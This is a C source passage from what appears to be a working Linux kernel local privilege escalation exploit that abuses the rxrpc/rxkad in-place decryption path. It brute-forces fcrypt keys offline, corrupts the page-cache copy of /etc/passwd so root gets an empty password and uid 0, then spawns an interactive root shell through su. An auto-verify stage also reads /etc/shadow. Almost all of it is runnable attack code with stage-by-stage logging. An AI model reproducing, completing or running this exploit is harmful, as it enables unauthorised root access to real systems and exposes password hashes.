0x10, 0x86, }; static const uint8_t fc_sbox3_raw[256] = { 0xa9, 0x2a, 0x48, 0x51, 0x84, 0x7e, 0x49, 0xe2, 0xb5, 0xb7, 0x42, 0x33, 0x7d, 0x5d, 0xa6, 0x12, 0x44, 0x48, 0x6d, 0x28, 0xaa, 0x20, 0x6d, 0x57, 0xd6, 0x6b, 0x5d, 0x72, 0xf0, 0x92, 0x5a, 0x1b, 0x53, 0x80, 0x24, 0x70, 0x9a, 0xcc, 0xa7, 0x66, 0xa1, 0x01, 0xa5, 0x41, 0x97, 0x41, 0x31, 0x82, 0xf1, 0x14, 0xcf, 0x53, 0x0d, 0xa0, 0x10, 0xcc, 0x2a, 0x7d, 0xd2, 0xbf, 0x4b, 0x1a, 0xdb, 0x16, 0x47, 0xf6, 0x51, 0x36, 0xed, 0xf3, 0xb9, 0x1a, 0xa7, 0xdf, 0x29, 0x43, 0x01, 0x54, 0x70, 0xa4, 0xbf, 0xd4, 0x0b, 0x53, 0x44, 0x60, 0x9e, 0x23, 0xa1, 0x18, 0x68, 0x4f, 0xf0, 0x2f, 0x82, 0xc2, 0x2a, 0x41, 0xb2, 0x42, 0x0c, 0xed, 0x0c, 0x1d, 0x13, 0x3a, 0x3c, 0x6e, 0x35, 0xdc, 0x60, 0x65, 0x85, 0xe9, 0x64, 0x02, 0x9a, 0x3f, 0x9f, 0x87, 0x96, 0xdf, 0xbe, 0xf2, 0xcb, 0xe5, 0x6c, 0xd4, 0x5a, 0x83, 0xbf, 0x92, 0x1b, 0x94, 0x00, 0x42, 0xcf, 0x4b, 0x00, 0x75, 0xba, 0x8f, 0x76, 0x5f, 0x5d, 0x3a, 0x4d, 0x09, 0x12, 0x08, 0x38, 0x95, 0x17, 0xe4, 0x01, 0x1d, 0x4c, 0xa9, 0xcc, 0x85, 0x82, 0x4c, 0x9d, 0x2f, 0x3b, 0x66, 0xa1, 0x34, 0x10, 0xcd, 0x59, 0x89, 0xa5, 0x31, 0xcf, 0x05, 0xc8, 0x84, 0xfa, 0xc7, 0xba, 0x4e, 0x8b, 0x1a, 0x19, 0xf1, 0xa1, 0x3b, 0x18, 0x12, 0x17, 0xb0, 0x98, 0x8d, 0x0b, 0x23, 0xc3, 0x3a, 0x2d, 0x20, 0xdf, 0x13, 0xa0, 0xa8, 0x4c, 0x0d, 0x6c, 0x2f, 0x47, 0x13, 0x13, 0x52, 0x1f, 0x2d, 0xf5, 0x79, 0x3d, 0xa2, 0x54, 0xbd, 0x69, 0xc8, 0x6b, 0xf3, 0x05, 0x28, 0xf1, 0x16, 0x46, 0x40, 0xb0, 0x11, 0xd3, 0xb7, 0x95, 0x49, 0xcf, 0xc3, 0x1d, 0x8f, 0xd8, 0xe1, 0x73, 0xdb, 0xad, 0xc8, 0xc9, 0xa9, 0xa1, 0xc2, 0xc5, 0xe3, 0xba, 0xfc, 0x0e, 0x25, };
static uint32_t fc_sbox0[256], fc_sbox1[256], fc_sbox2[256], fc_sbox3[256];
#include <endian.h>
static void fcrypt_init_sboxes(void) { for (int i = 0; i < 256; i++) { fc_sbox0[i] = htobe32((uint32_t)fc_sbox0_raw[i] << 3); fc_sbox1[i] = htobe32(((uint32_t)(fc_sbox1_raw[i] & 0x1f) << 27) | ((uint32_t)fc_sbox1_raw[i] >> 5)); fc_sbox2[i] = htobe32((uint32_t)fc_sbox2_raw[i] << 11); fc_sbox3[i] = htobe32((uint32_t)fc_sbox3_raw[i] << 19); } }
#define fc_ror56_64(k, n) \ (k = (k >> (n)) | ((k & ((1ULL << (n)) - 1)) << (56 - (n))))
typedef struct { uint32_t sched[16]; } fcrypt_uctx;
static void fcrypt_user_setkey(fcrypt_uctx *ctx, const uint8_t key[8]) { uint64_t k = 0; k = (uint64_t)(key[0] >> 1); k <<= 7; k |= (uint64_t)(key[1] >> 1); k <<= 7; k |= (uint64_t)(key[2] >> 1); k <<= 7; k |= (uint64_t)(key[3] >> 1); k <<= 7; k |= (uint64_t)(key[4] >> 1); k <<= 7; k |= (uint64_t)(key[5] >> 1); k <<= 7; k |= (uint64_t)(key[6] >> 1); k <<= 7; k |= (uint64_t)(key[7] >> 1);
ctx->sched\[0x0\] = htobe32((uint32\_t)k); fc\_ror56\_64(k, 11);
ctx->sched\[0x1\] = htobe32((uint32\_t)k); fc\_ror56\_64(k, 11);
ctx->sched\[0x2\] = htobe32((uint32\_t)k); fc\_ror56\_64(k, 11);
ctx->sched\[0x3\] = htobe32((uint32\_t)k); fc\_ror56\_64(k, 11);
ctx->sched\[0x4\] = htobe32((uint32\_t)k); fc\_ror56\_64(k, 11);
ctx->sched\[0x5\] = htobe32((uint32\_t)k); fc\_ror56\_64(k, 11);
ctx->sched\[0x6\] = htobe32((uint32\_t)k); fc\_ror56\_64(k, 11);
ctx->sched\[0x7\] = htobe32((uint32\_t)k); fc\_ror56\_64(k, 11);
ctx->sched\[0x8\] = htobe32((uint32\_t)k); fc\_ror56\_64(k, 11);
ctx->sched\[0x9\] = htobe32((uint32\_t)k); fc\_ror56\_64(k, 11);
ctx->sched\[0xa\] = htobe32((uint32\_t)k); fc\_ror56\_64(k, 11);
ctx->sched\[0xb\] = htobe32((uint32\_t)k); fc\_ror56\_64(k, 11);
ctx->sched\[0xc\] = htobe32((uint32\_t)k); fc\_ror56\_64(k, 11);
ctx->sched\[0xd\] = htobe32((uint32\_t)k); fc\_ror56\_64(k, 11);
ctx->sched\[0xe\] = htobe32((uint32\_t)k); fc\_ror56\_64(k, 11);
ctx->sched\[0xf\] = htobe32((uint32\_t)k);
}
#define FC_F(R_, L_, sched_) do { \ union { uint32_t l; uint8_t c[4]; } u; \ u.l = (sched_) ^ (R_); \ L_ ^= fc_sbox0[u.c[0]] ^ fc_sbox1[u.c[1]] ^ \ fc_sbox2[u.c[2]] ^ fc_sbox3[u.c[3]]; \ } while (0)
static void fcrypt_user_decrypt(const fcrypt_uctx *ctx, uint8_t out[8], const uint8_t in[8]) { uint32_t L, R; memcpy(&L, in, 4); memcpy(&R, in + 4, 4); FC_F(L, R, ctx->sched[0xf]); FC_F(R, L, ctx->sched[0xe]); FC_F(L, R, ctx->sched[0xd]); FC_F(R, L, ctx->sched[0xc]); FC_F(L, R, ctx->sched[0xb]); FC_F(R, L, ctx->sched[0xa]); FC_F(L, R, ctx->sched[0x9]); FC_F(R, L, ctx->sched[0x8]); FC_F(L, R, ctx->sched[0x7]); FC_F(R, L, ctx->sched[0x6]); FC_F(L, R, ctx->sched[0x5]); FC_F(R, L, ctx->sched[0x4]); FC_F(L, R, ctx->sched[0x3]); FC_F(R, L, ctx->sched[0x2]); FC_F(L, R, ctx->sched[0x1]); FC_F(R, L, ctx->sched[0x0]); memcpy(out, &L, 4); memcpy(out + 4, &R, 4); }
/* For the 2-splice chain we want the line to have EXACTLY 6 ':' and a * shell field that equals "/bin/bash" (in /etc/shells, valid path). * The two splices interlock as: * * bytes 7..14 (offset 2800): P1 — sets uid=0, gid=1 digit, then * 4 random gecos-prefix bytes. * bytes 15..22 (offset 2808): P2 — wipes the original ':' at line * pos 16, preserves ':' at pos 21 and '/' at pos 22. * * Combined line: "test:x:0:G:GGGGGGGGGG:/home/test:/bin/bash" * pos 0 8 21 32 * * pw_uid=0, pw_gid=G, pw_dir="/home/test", pw_shell="/bin/bash". * Now `su -s /bin/bash test` proceeds through the restricted_shell() * check (because /bin/bash IS in /etc/shells) and exec()s /bin/bash * under uid=0. * * === 3-splice predicates === * * After applying splices A, B, C in order to /etc/passwd line 1 * (offsets 4, 6, 8 — each 8 bytes, last-write-wins), the final state * of chars 4..15 is determined by these P bytes: * * char 4 = P_A[0] want: ':' * char 5 = P_A[1] want: ':' * char 6 = P_B[0] want: '0' (overwrites P_A[2]) * char 7 = P_B[1] want: ':' (overwrites P_A[3]) * char 8 = P_C[0] want: '0' (overwrites P_A[4]/P_B[2]) * char 9 = P_C[1] want: ':' (overwrites P_A[5]/P_B[3]) * char 10..14 = P_C[2..6] want: any byte except ':' '\0' '\n' * char 15 = P_C[7] want: ':' * * The constraints on P_A[2..7] and P_B[2..7] are vacuous because they * are overwritten before /etc/passwd is read by anyone — we only care * about the final state. */ static inline int fc_check_pa_nullok(const uint8_t P[8]) { return P[0] == ':' && P[1] == ':'; }
static inline int fc_check_pb_nullok(const uint8_t P[8]) { return P[0] == '0' && P[1] == ':'; }
static inline int fc_check_pc_nullok(const uint8_t P[8]) { if (P[0] != '0') return 0; if (P[1] != ':') return 0; if (P[7] != ':') return 0; for (int i = 2; i < 7; i++) { if (P[i] == ':' || P[i] == '\0' || P[i] == '\n') return 0; } return 1; }
static uint64_t fc_splitmix64(uint64_t *s) { uint64_t z = (*s += 0x9E3779B97F4A7C15ULL); z = (z ^ (z >> 30)) * 0xBF58476D1CE4E5B9ULL; z = (z ^ (z >> 27)) * 0x94D049BB133111EBULL; return z ^ (z >> 31); }
/* Generic brute-force. `predicate` decides if a P is acceptable. */ typedef int (*pcheck_fn)(const uint8_t P[8]);
static int find_K_offline_generic(const uint8_t C[8], uint64_t max_iters, pcheck_fn check, uint8_t K_out[8], uint8_t P_out[8], uint64_t seed_init, const char *label) { fcrypt_uctx ctx; uint8_t K[8], P[8]; uint64_t seed = seed_init; struct timespec ts0, ts1; clock_gettime(CLOCK_MONOTONIC, &ts0);
for (uint64\_t iter = 0; iter < max\_iters; iter++) {
uint64\_t r = fc\_splitmix64(&seed);
memcpy(K, &r, 8);
fcrypt\_user\_setkey(&ctx, K);
fcrypt\_user\_decrypt(&ctx, P, C);
if (check(P)) {
memcpy(K\_out, K, 8);
memcpy(P\_out, P, 8);
clock\_gettime(CLOCK\_MONOTONIC, &ts1);
double dt = (ts1.tv\_sec - ts0.tv\_sec) +
(ts1.tv\_nsec - ts0.tv\_nsec) / 1e9;
LOG("%s found after %lu iters in %.2fs (%.2fM/s) K=%02x%02x%02x%02x%02x%02x%02x%02x P=%02x%02x%02x%02x%02x%02x%02x%02x \\"%c%c%c%c%c%c%c%c\\"",
label,
(unsigned long)iter, dt, iter / dt / 1e6,
K\[0\],K\[1\],K\[2\],K\[3\],K\[4\],K\[5\],K\[6\],K\[7\],
P\[0\],P\[1\],P\[2\],P\[3\],P\[4\],P\[5\],P\[6\],P\[7\],
(P\[0\]>=32&&P\[0\]<127)?P\[0\]:'.',
(P\[1\]>=32&&P\[1\]<127)?P\[1\]:'.',
(P\[2\]>=32&&P\[2\]<127)?P\[2\]:'.',
(P\[3\]>=32&&P\[3\]<127)?P\[3\]:'.',
(P\[4\]>=32&&P\[4\]<127)?P\[4\]:'.',
(P\[5\]>=32&&P\[5\]<127)?P\[5\]:'.',
(P\[6\]>=32&&P\[6\]<127)?P\[6\]:'.',
(P\[7\]>=32&&P\[7\]<127)?P\[7\]:'.');
return 0;
}
if ((iter & 0x3ffffff) == 0 && iter > 0) {
clock\_gettime(CLOCK\_MONOTONIC, &ts1);
double dt = (ts1.tv\_sec - ts0.tv\_sec) +
(ts1.tv\_nsec - ts0.tv\_nsec) / 1e9;
fprintf(stderr, " \[%s %.1fs\] iter=%lu (%.2fM/s)\\n",
label, dt, (unsigned long)iter, iter / dt / 1e6);
}
}
return -1;
}
int rxrpc_lpe_main(int argc, char **argv) { fprintf(stderr, "\n=== rxrpc/rxkad LPE EXPLOIT (uid=1000 → root) ===\n"); fprintf(stderr, "[*] uid=%u euid=%u gid=%u\n", getuid(), geteuid(), getgid());
{
const char \*no\_unshare = getenv("POC\_NO\_UNSHARE");
if (!no\_unshare || \*no\_unshare != '1') {
const char \*do\_unshare = getenv("POC\_UNSHARE");
if (do\_unshare && \*do\_unshare == '1') {
if (do\_unshare\_userns\_netns() < 0) return 1;
}
}
}
/\* Open a dummy AF\_RXRPC socket to autoload the rxrpc kernel module.
\* Without this, the first add\_key("rxrpc", ...) call fails with ENODEV
\* because the kernel key type "rxrpc" is registered by rxrpc\_init() in
\* the module load path. \*/
{
int dummy = socket(AF\_RXRPC, SOCK\_DGRAM, PF\_INET);
if (dummy < 0) {
WARN("socket(AF\_RXRPC): %s — module not loadable?", strerror(errno));
return 1;
}
close(dummy);
LOG("rxrpc module autoloaded via dummy socket(AF\_RXRPC)");
}
/\* Open /etc/passwd RO and mmap the first page (which contains the
\* root entry on line 1). \*/
const char \*target\_path = getenv("POC\_TARGET\_FILE");
if (!target\_path || !\*target\_path) target\_path = "/etc/passwd";
int rfd\_ro = open(target\_path, O\_RDONLY);
if (rfd\_ro < 0) {
WARN("open %s RO: %s", target\_path, strerror(errno));
return 1;
}
struct stat st;
fstat(rfd\_ro, &st);
if (st.st\_size < 32) { WARN("target too small: %lld", (long long)st.st\_size); return 1; }
LOG("target %s opened RO, size=%lld, uid=%u gid=%u mode=%04o",
target\_path, (long long)st.st\_size, st.st\_uid, st.st\_gid,
st.st\_mode & 07777);
/\* mmap first page so the page-cache page stays pinned. \*/
void \*map = mmap(NULL, 4096, PROT\_READ, MAP\_SHARED, rfd\_ro, 0);
if (map == MAP\_FAILED) { WARN("mmap: %s", strerror(errno)); return 1; }
LOG("mmap'd %s page-cache at %p (PROT\_READ|MAP\_SHARED)", target\_path, map);
/\* If a previous attempt already left the root entry in the patched
\* "root::0:0:..." form, treat as success and skip the brute-force /
\* trigger stages. Otherwise proceed regardless of current state —
\* the brute-force re-derives K\_A/K\_B/K\_C from whatever bytes are
\* currently at offsets 4/6/8 of the page-cache page, so it works
\* even on the corrupt residue from a previous failed run. \*/
{
const char \*m = (const char \*)map;
if (memcmp(m, "root::0:0", 9) == 0) {
LOG("/etc/passwd already patched (root::0:0...) — nothing to do");
return 0;
}
LOG("/etc/passwd line 1 first 16 bytes:");
for (int i = 0; i < 16; i++)
fprintf(stderr, "%02x ", (uint8\_t)m\[i\]);
fprintf(stderr, "\\n");
}
fprintf(stderr, "\[\*\] /etc/passwd line 1 (root entry) BEFORE: '");
for (int i = 0; i < 32; i++) {
char c = ((const char \*)map)\[i\];
fputc((c == '\\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr);
}
fprintf(stderr, "'\\n");
/\* === STAGE 1 — THREE-SPLICE OFFLINE BRUTE FORCE ===
\*
\* Read THREE 8-byte ciphertexts at file offsets 4, 6, 8. Search
\* independently for K\_A (chars 4-5 = "::"), K\_B (chars 6-7 = "0:"),
\* K\_C (chars 8-15 = "0:GGGGGG:" with G non-control). All searches
\* are user-space only — no kernel/VM interaction.
\*
\* Last-write-wins ordering: trigger A first (covers 4..11), then B
\* (covers 6..13 — overrides A's 6..11), then C (covers 8..15 —
\* overrides A's 8..11 and B's 8..13). Final state of chars 4..15:
\* chars 4..5 = P\_A\[0..1\]
\* chars 6..7 = P\_B\[0..1\]
\* chars 8..15 = P\_C\[0..7\]
\* =================================================================\*/
uint8\_t Ca\[8\], Cb\[8\], Cc\[8\];
int off\_a = 4, off\_b = 6, off\_c = 8;
if (pread(rfd\_ro, Ca, 8, off\_a) != 8) { WARN("pread Ca: %s", strerror(errno)); return 1; }
if (pread(rfd\_ro, Cb, 8, off\_b) != 8) { WARN("pread Cb: %s", strerror(errno)); return 1; }
if (pread(rfd\_ro, Cc, 8, off\_c) != 8) { WARN("pread Cc: %s", strerror(errno)); return 1; }
LOG("Ca @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \\"%c%c%c%c%c%c%c%c\\"",
off\_a, Ca\[0\],Ca\[1\],Ca\[2\],Ca\[3\],Ca\[4\],Ca\[5\],Ca\[6\],Ca\[7\],
(Ca\[0\]>=32&&Ca\[0\]<127)?Ca\[0\]:'.', (Ca\[1\]>=32&&Ca\[1\]<127)?Ca\[1\]:'.',
(Ca\[2\]>=32&&Ca\[2\]<127)?Ca\[2\]:'.', (Ca\[3\]>=32&&Ca\[3\]<127)?Ca\[3\]:'.',
(Ca\[4\]>=32&&Ca\[4\]<127)?Ca\[4\]:'.', (Ca\[5\]>=32&&Ca\[5\]<127)?Ca\[5\]:'.',
(Ca\[6\]>=32&&Ca\[6\]<127)?Ca\[6\]:'.', (Ca\[7\]>=32&&Ca\[7\]<127)?Ca\[7\]:'.');
LOG("Cb @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \\"%c%c%c%c%c%c%c%c\\"",
off\_b, Cb\[0\],Cb\[1\],Cb\[2\],Cb\[3\],Cb\[4\],Cb\[5\],Cb\[6\],Cb\[7\],
(Cb\[0\]>=32&&Cb\[0\]<127)?Cb\[0\]:'.', (Cb\[1\]>=32&&Cb\[1\]<127)?Cb\[1\]:'.',
(Cb\[2\]>=32&&Cb\[2\]<127)?Cb\[2\]:'.', (Cb\[3\]>=32&&Cb\[3\]<127)?Cb\[3\]:'.',
(Cb\[4\]>=32&&Cb\[4\]<127)?Cb\[4\]:'.', (Cb\[5\]>=32&&Cb\[5\]<127)?Cb\[5\]:'.',
(Cb\[6\]>=32&&Cb\[6\]<127)?Cb\[6\]:'.', (Cb\[7\]>=32&&Cb\[7\]<127)?Cb\[7\]:'.');
LOG("Cc @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \\"%c%c%c%c%c%c%c%c\\"",
off\_c, Cc\[0\],Cc\[1\],Cc\[2\],Cc\[3\],Cc\[4\],Cc\[5\],Cc\[6\],Cc\[7\],
(Cc\[0\]>=32&&Cc\[0\]<127)?Cc\[0\]:'.', (Cc\[1\]>=32&&Cc\[1\]<127)?Cc\[1\]:'.',
(Cc\[2\]>=32&&Cc\[2\]<127)?Cc\[2\]:'.', (Cc\[3\]>=32&&Cc\[3\]<127)?Cc\[3\]:'.',
(Cc\[4\]>=32&&Cc\[4\]<127)?Cc\[4\]:'.', (Cc\[5\]>=32&&Cc\[5\]<127)?Cc\[5\]:'.',
(Cc\[6\]>=32&&Cc\[6\]<127)?Cc\[6\]:'.', (Cc\[7\]>=32&&Cc\[7\]<127)?Cc\[7\]:'.');
fcrypt\_init\_sboxes();
/\* selftest \*/
{
fcrypt\_uctx ctx;
uint8\_t z\[8\] = {0};
uint8\_t cv\[8\] = { 0x0E, 0x09, 0x00, 0xC7, 0x3E, 0xF7, 0xED, 0x41 };
uint8\_t pv\[8\];
fcrypt\_user\_setkey(&ctx, z);
fcrypt\_user\_decrypt(&ctx, pv, cv);
if (memcmp(pv, z, 8) != 0) { WARN("fcrypt selftest FAILED"); return 1; }
}
LOG("fcrypt selftest OK");
uint8\_t Ka\[8\], Pa\_out\[8\];
uint8\_t Kb\[8\], Pb\_out\[8\];
uint8\_t Kc\[8\], Pc\_out\[8\];
uint8\_t Cb\_actual\[8\], Cc\_actual\[8\];
{
uint64\_t max\_iters = 10000000000ULL;
const char \*e = getenv("LPE\_MAX\_ITERS");
if (e) max\_iters = strtoull(e, NULL, 0);
uint64\_t seed\_base = (uint64\_t)time(NULL) \* 0x100000001ULL ^ (uint64\_t)getpid();
const char \*se = getenv("LPE\_SEED");
if (se) seed\_base = strtoull(se, NULL, 0);
fprintf(stderr, "\\n=== STAGE 1a: search K\_A (chars 4-5 := \\"::\\") prob ~1.5e-5 ===\\n");
if (find\_K\_offline\_generic(Ca, max\_iters, fc\_check\_pa\_nullok,
Ka, Pa\_out, seed\_base, "K\_A") != 0) {
WARN("K\_A search exhausted"); return 2;
}
/\* After splice A is applied, the ciphertext that splice B will
\* see at file offset 6 is NOT the original Cb — it's the bytes
\* that splice A wrote to file offsets 6..11 (= Pa\[2..7\]) plus
\* the original bytes 12..13 (= Cb\[6..7\]). We must derive
\* Cb\_actual and search K\_B against it. \*/
memcpy(Cb\_actual, Pa\_out + 2, 6);
memcpy(Cb\_actual + 6, Cb + 6, 2);
LOG("Cb\_actual (after splice A) = %02x%02x%02x%02x%02x%02x%02x%02x",
Cb\_actual\[0\],Cb\_actual\[1\],Cb\_actual\[2\],Cb\_actual\[3\],
Cb\_actual\[4\],Cb\_actual\[5\],Cb\_actual\[6\],Cb\_actual\[7\]);
fprintf(stderr, "\\n=== STAGE 1b: search K\_B (chars 6-7 := \\"0:\\") prob ~1.5e-5 ===\\n");
if (find\_K\_offline\_generic(Cb\_actual, max\_iters, fc\_check\_pb\_nullok,
Kb, Pb\_out, seed\_base ^ 0xa5a5a5a5a5a5a5a5ULL,
"K\_B") != 0) {
WARN("K\_B search exhausted"); return 2;
}
/\* Same chaining logic for splice C: after splice B, file offsets
\* 8..13 hold Pb\[2..7\]; offsets 14..15 still hold the original
\* bytes Cc\[6..7\]. \*/
memcpy(Cc\_actual, Pb\_out + 2, 6);
memcpy(Cc\_actual + 6, Cc + 6, 2);
LOG("Cc\_actual (after splice B) = %02x%02x%02x%02x%02x%02x%02x%02x",
Cc\_actual\[0\],Cc\_actual\[1\],Cc\_actual\[2\],Cc\_actual\[3\],
Cc\_actual\[4\],Cc\_actual\[5\],Cc\_actual\[6\],Cc\_actual\[7\]);
fprintf(stderr, "\\n=== STAGE 1c: search K\_C (chars 8-15 := \\"0:GGGGGG:\\") prob ~5.4e-8 ===\\n");
if (find\_K\_offline\_generic(Cc\_actual, max\_iters, fc\_check\_pc\_nullok,
Kc, Pc\_out, seed\_base ^ 0x5a5a5a5a5a5a5a5aULL,
"K\_C") != 0) {
WARN("K\_C search exhausted"); return 2;
}
}
fprintf(stderr, "\\n\[+\] Predicted post-corruption /etc/passwd line 1:\\n \\"root");
/\* chars 4-5 from P\_A \*/
for (int i = 0; i < 2; i++) fputc((Pa\_out\[i\]>=32&&Pa\_out\[i\]<127)?Pa\_out\[i\]:'.', stderr);
/\* chars 6-7 from P\_B \*/
for (int i = 0; i < 2; i++) fputc((Pb\_out\[i\]>=32&&Pb\_out\[i\]<127)?Pb\_out\[i\]:'.', stderr);
/\* chars 8-15 from P\_C \*/
for (int i = 0; i < 8; i++) fputc((Pc\_out\[i\]>=32&&Pc\_out\[i\]<127)?Pc\_out\[i\]:'.', stderr);
fprintf(stderr, "/root:/bin/bash\\"\\n");
/\* === STAGE 2 — THREE KERNEL TRIGGERS (in order A → B → C) ===
\* Each trigger does a single in-place decrypt at the
\* indicated /etc/passwd file offset. Last-write-wins on overlapping
\* bytes determines the final state.
\*/
fprintf(stderr, "\\n=== STAGE 2a: kernel trigger A @ off %d (set chars 4-5 \\"::\\") ===\\n", off\_a);
memcpy(SESSION\_KEY, Ka, 8);
if (do\_one\_trigger(rfd\_ro, off\_a, 8) < 0) {
WARN("kernel trigger A failed"); return 3;
}
fprintf(stderr, "\\n=== STAGE 2b: kernel trigger B @ off %d (set chars 6-7 \\"0:\\") ===\\n", off\_b);
memcpy(SESSION\_KEY, Kb, 8);
if (do\_one\_trigger(rfd\_ro, off\_b, 8) < 0) {
WARN("kernel trigger B failed"); return 3;
}
fprintf(stderr, "\\n=== STAGE 2c: kernel trigger C @ off %d (set chars 8-15 \\"0:GGGGGG:\\") ===\\n", off\_c);
memcpy(SESSION\_KEY, Kc, 8);
if (do\_one\_trigger(rfd\_ro, off\_c, 8) < 0) {
WARN("kernel trigger C failed"); return 3;
}
/\* Verify: re-read line 1 of /etc/passwd via mmap. \*/
fprintf(stderr, "\[\*\] /etc/passwd line 1 (root entry) AFTER: '");
for (int i = 0; i < 32; i++) {
char c = ((const char \*)map)\[i\];
fputc((c == '\\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr);
}
fprintf(stderr, "'\\n");
/\* Sanity-check: chars 4-5 = "::", 6-7 = "0:", 8-9 = "0:", 15 = ':'. \*/
{
const char \*m = (const char \*)map;
int ok = (m\[4\] == ':' && m\[5\] == ':' &&
m\[6\] == '0' && m\[7\] == ':' &&
m\[8\] == '0' && m\[9\] == ':' &&
m\[15\] == ':');
if (!ok) {
WARN("post-trigger sanity check failed — char layout off");
return 4;
}
}
fprintf(stderr,
"\\n\[!!!\] HIT — root entry now has empty passwd field, uid=0, "
"gid=0, dir=/root, shell=/bin/bash.\\n");
/\* === STAGE 3 — VERIFY VIA getent passwd root === \*/
fprintf(stderr,
"\\n=== STAGE 3: independent verify via \`getent passwd root\` ===\\n");
{
int p\[2\];
if (pipe(p) == 0) {
pid\_t pid = fork();
if (pid == 0) {
close(p\[0\]);
dup2(p\[1\], 1);
dup2(p\[1\], 2);
close(p\[1\]);
execlp("getent", "getent", "passwd", "root", NULL);
\_exit(127);
}
close(p\[1\]);
char buf\[1024\];
ssize\_t r = read(p\[0\], buf, sizeof(buf) - 1);
close(p\[0\]);
int wstatus = 0;
waitpid(pid, &wstatus, 0);
if (r > 0) {
buf\[r\] = 0;
fprintf(stderr, "\[getent passwd root\] %s", buf);
}
fprintf(stderr,
"\[+\] PRIMITIVE proven: root entry has empty passwd field "
"via NSS.\\n");
}
}
/\* Honour \`--corrupt-only\` arg or DIRTYFRAG\_CORRUPT\_ONLY=1 env so
\* the chain wrapper can skip the in-process su PTY stage and exec
\* /usr/bin/su itself. Avoids the flaky posix\_openpt bridge. \*/
{
int co\_flag = 0;
for (int i = 1; i < argc; i++)
if (!strcmp(argv\[i\], "--corrupt-only")) { co\_flag = 1; break; }
const char \*e = getenv("DIRTYFRAG\_CORRUPT\_ONLY");
if (e && \*e == '1') co\_flag = 1;
if (co\_flag) return 0;
}
/\* === STAGE 4 — \`su\` (target=root, no password input) ===
\* PAM common-auth contains "auth \[success=2 default=ignore\]
\* pam\_unix.so nullok" — so a target user with empty passwd field
\* + nullok flag accepts an empty password. We auto-inject a
\* single newline on the "Password:" prompt and then bridge the
\* resulting bash to the user's tty. \*/
fprintf(stderr,
"\\n=== STAGE 4: spawning interactive root shell via \`su\` "
"(no password input needed) ===\\n\\n");
fflush(stderr);
int master = posix\_openpt(O\_RDWR | O\_NOCTTY);
if (master < 0 || grantpt(master) < 0 || unlockpt(master) < 0) {
WARN("posix\_openpt: %s", strerror(errno));
return 5;
}
char \*slave\_name = ptsname(master);
struct winsize ws;
if (ioctl(STDIN\_FILENO, TIOCGWINSZ, &ws) == 0) {
ioctl(master, TIOCSWINSZ, &ws);
}
pid\_t pid = fork();
if (pid < 0) { WARN("fork: %s", strerror(errno)); return 5; }
if (pid == 0) {
/\* child \*/
setsid();
int slave = open(slave\_name, O\_RDWR);
if (slave < 0) \_exit(127);
ioctl(slave, TIOCSCTTY, 0);
dup2(slave, 0); dup2(slave, 1); dup2(slave, 2);
if (slave > 2) close(slave);
close(master);
/\* \`su\` with no args targets root. PAM common-auth's pam\_unix.so
\* nullok accepts the empty passwd we planted in /etc/passwd. \*/
execlp("su", "su", NULL);
\_exit(127);
}
/\* parent: bridge user's tty <-> master. \*/
struct termios saved\_termios;
int saved\_termios\_ok = (tcgetattr(STDIN\_FILENO, &saved\_termios) == 0);
if (saved\_termios\_ok) {
struct termios raw = saved\_termios;
cfmakeraw(&raw);
tcsetattr(STDIN\_FILENO, TCSANOW, &raw);
}
int auto\_pw\_sent = 0;
int stdin\_eof = 0; /\* set when stdin closes (e.g. /dev/null) \*/
char buf\[4096\];
/\* If LPE\_AUTO\_VERIFY=1 is set, the bridge will inject
\* \`id; whoami; exit\\n\` so it can prove uid=0 non-interactively
\* (e.g. when stdin is /dev/null in CI). \*/
int auto\_verify = 0;
{
const char \*e = getenv("LPE\_AUTO\_VERIFY");
if (e && \*e == '1') auto\_verify = 1;
}
int verify\_sent = 0;
int total\_ms = 0;
for (;;) {
struct pollfd pfds\[2\] = {
{ stdin\_eof ? -1 : STDIN\_FILENO, POLLIN, 0 },
{ master, POLLIN, 0 },
};
int pr = poll(pfds, 2, 200);
if (pr < 0 && errno != EINTR) break;
total\_ms += 200;
if (pfds\[1\].revents & POLLIN) {
ssize\_t n = read(master, buf, sizeof(buf));
if (n <= 0) break;
(void)write(STDOUT\_FILENO, buf, n);
if (!auto\_pw\_sent && (size\_t)n < sizeof(buf)) {
buf\[n\] = 0;
if (strstr(buf, "Password") || strstr(buf, "password")) {
/\* Empty password — PAM nullok will accept it.
\* (When pam\_unix sees an empty passwd field plus
\* nullok it skips the prompt entirely; this branch
\* handles the case where some other PAM module
\* prints a prompt anyway.) \*/
(void)write(master, "\\n", 1);
auto\_pw\_sent = 1;
}
}
}
if (!stdin\_eof && (pfds\[0\].revents & POLLIN)) {
ssize\_t n = read(STDIN\_FILENO, buf, sizeof(buf));
if (n <= 0) {
/\* stdin EOF — stop reading from it but keep bridging
\* master → stdout so su can still finish auth and run
\* the optional auto-verify command. \*/
stdin\_eof = 1;
} else {
(void)write(master, buf, n);
}
}
if (pfds\[1\].revents & (POLLHUP | POLLERR)) break;
/\* Auto-verify: ~1 s after spawn, send \`id; whoami; exit\\n\` so
\* the bridge captures uid=0 evidence non-interactively even
\* when pam\_unix's blank-passwd path skips the prompt. \*/
if (auto\_verify && !verify\_sent && total\_ms >= 1000) {
const char cmd\[\] = "id; whoami; cat /etc/shadow | head -2; exit\\n";
(void)write(master, cmd, sizeof(cmd) - 1);
verify\_sent = 1;
}
int status;
pid\_t w = waitpid(pid, &status, WNOHANG);
if (w == pid) {
for (int i = 0; i < 5; i++) {
struct pollfd pf = { master, POLLIN, 0 };
if (poll(&pf, 1, 50) <= 0) break;
ssize\_t n = read(master, buf, sizeof(buf));
if (n <= 0) break;
(void)write(STDOUT\_FILENO, buf, n);
}
break;
}
}
if (saved\_termios\_ok) {
tcsetattr(STDIN\_FILENO, TCSANOW, &saved\_termios);
}
close(master);
return 0;
